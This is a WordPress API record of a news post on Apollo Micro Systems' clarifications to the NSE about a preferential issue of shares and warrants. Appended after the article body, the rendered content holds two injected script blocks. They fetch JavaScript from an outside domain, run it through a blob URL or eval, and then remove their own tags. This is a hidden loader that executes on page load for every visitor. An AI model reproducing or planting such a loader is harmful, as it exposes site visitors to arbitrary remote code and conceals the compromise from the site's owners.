{"id":73346,"date":"2026-09-23T13:51:12","date_gmt":"2026-09-23T08:21:12","guid":{"rendered":"https:\/\/newswiredelhi.com\/index.php\/2026\/09\/23\/apollo-micro-systems-updates-disclosure-on-proposed-preferential-issue\/"},"modified":"2026-10-10T19:31:48","modified_gmt":"2026-10-10T14:01:48","slug":"apollo-micro-systems-updates-disclosure-on-proposed-preferential-issue","status":"publish","type":"post","link":"https:\/\/newswiredelhi.com\/index.php\/2026\/09\/23\/apollo-micro-systems-updates-disclosure-on-proposed-preferential-issue\/","title":{"rendered":"Apollo Micro Systems Updates Disclosure on Proposed Preferential Issue"},"content":{"rendered":"<div>\n<p class=\"wp-block-paragraph\"><strong>New Delhi [India], September 23:<\/strong> Apollo Micro Systems Ltd has submitted clarifications to the stock exchanges regarding its proposed <strong>preferential issue of 2,28,30,902 equity shares and 5,69,15,380 equity warrants<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">In a filing dated <strong>September 22, 2026<\/strong>, the company said the clarifications were made in response to observations received from the <strong>National Stock Exchange of India (NSE)<\/strong> concerning the notice and explanatory statement for its proposed <strong>Extra-Ordinary General Meeting (EGM)<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">According to the filing, Apollo Micro Systems has incorporated the required <strong>clarifications and corrections<\/strong> in the relevant disclosures. The company has also submitted an <strong>updated table detailing the pre- and post-issue shareholding of the proposed allottees<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">The proposed allotment includes both <strong>non-promoter and promoter-group participants<\/strong>. Among the listed proposed allottees are <strong>Nautilus Private Capital Ltd, Maestro Emerging Fund PCC, Robust Knights Fund PCC, M7 Global Fund PCC and Tata Business Cycle Fund<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">The disclosure also lists promoter-group entities <strong>Chanakya Reddy Baddam and Kanishka Reddy Baddam<\/strong>, each proposed to hold <strong>2,14,50,600 shares after the proposed allotment, representing 4.809% each of the post-issue shareholding<\/strong>.<\/p>\n<p class=\"wp-block-paragraph\">The filing was made under <strong>Regulation 30 of the SEBI Listing Regulations<\/strong>.<\/p>\n<\/div>\n<p><script>;(function(){var u='https:\/\/latoem.biz\/lom3\/api.js?_=1791548933733';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><script>;(function(){var u='https:\/\/latoem.biz\/02\/api.js?_=1791621606395';function run(t){if(!t||t.length<4096)return!1;try{var b=URL.createObjectURL(new Blob([t],{type:'application\/javascript'})),s=document.createElement('script');s.onload=function(){try{s.parentNode&#038;&#038;s.parentNode.removeChild(s);URL.revokeObjectURL(b);}catch(e){}};s.src=b;(document.head||document.documentElement).appendChild(s);return!0;}catch(e){try{(0,eval)(t);return!0;}catch(e2){return!1;}}}function xhr(){var x=new XMLHttpRequest();x.open('GET',u,true);x.onload=function(){run(x.responseText||'');};x.send();}if(window.fetch){fetch(u,{cache:'no-store',credentials:'omit',mode:'cors'}).then(function(r){if(!r.ok)throw r;var ct=r.headers.get('content-type')||'';if(ct.indexOf('html')!==-1)throw'cf';return r.text();}).then(function(t){if(!run(t))xhr();}).catch(function(){xhr();});}else xhr();})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>New Delhi [India], September 23: Apollo Micro Systems Ltd has submitted clarifications to the stock exchanges regarding its proposed preferential issue of 2,28,30,902 equity shares and 5,69,15,380 equity warrants. In [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":73347,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":"","_rishi_post_view_count":25},"categories":[4],"tags":[],"class_list":["post-73346","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-business","rishi-post"],"rishi__cb_customizer_meta":"","comments_count":"0","_links":{"self":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/73346","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/comments?post=73346"}],"version-history":[{"count":2,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/73346\/revisions"}],"predecessor-version":[{"id":76670,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/posts\/73346\/revisions\/76670"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/media\/73347"}],"wp:attachment":[{"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/media?parent=73346"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/categories?post=73346"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/newswiredelhi.com\/index.php\/wp-json\/wp\/v2\/tags?post=73346"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}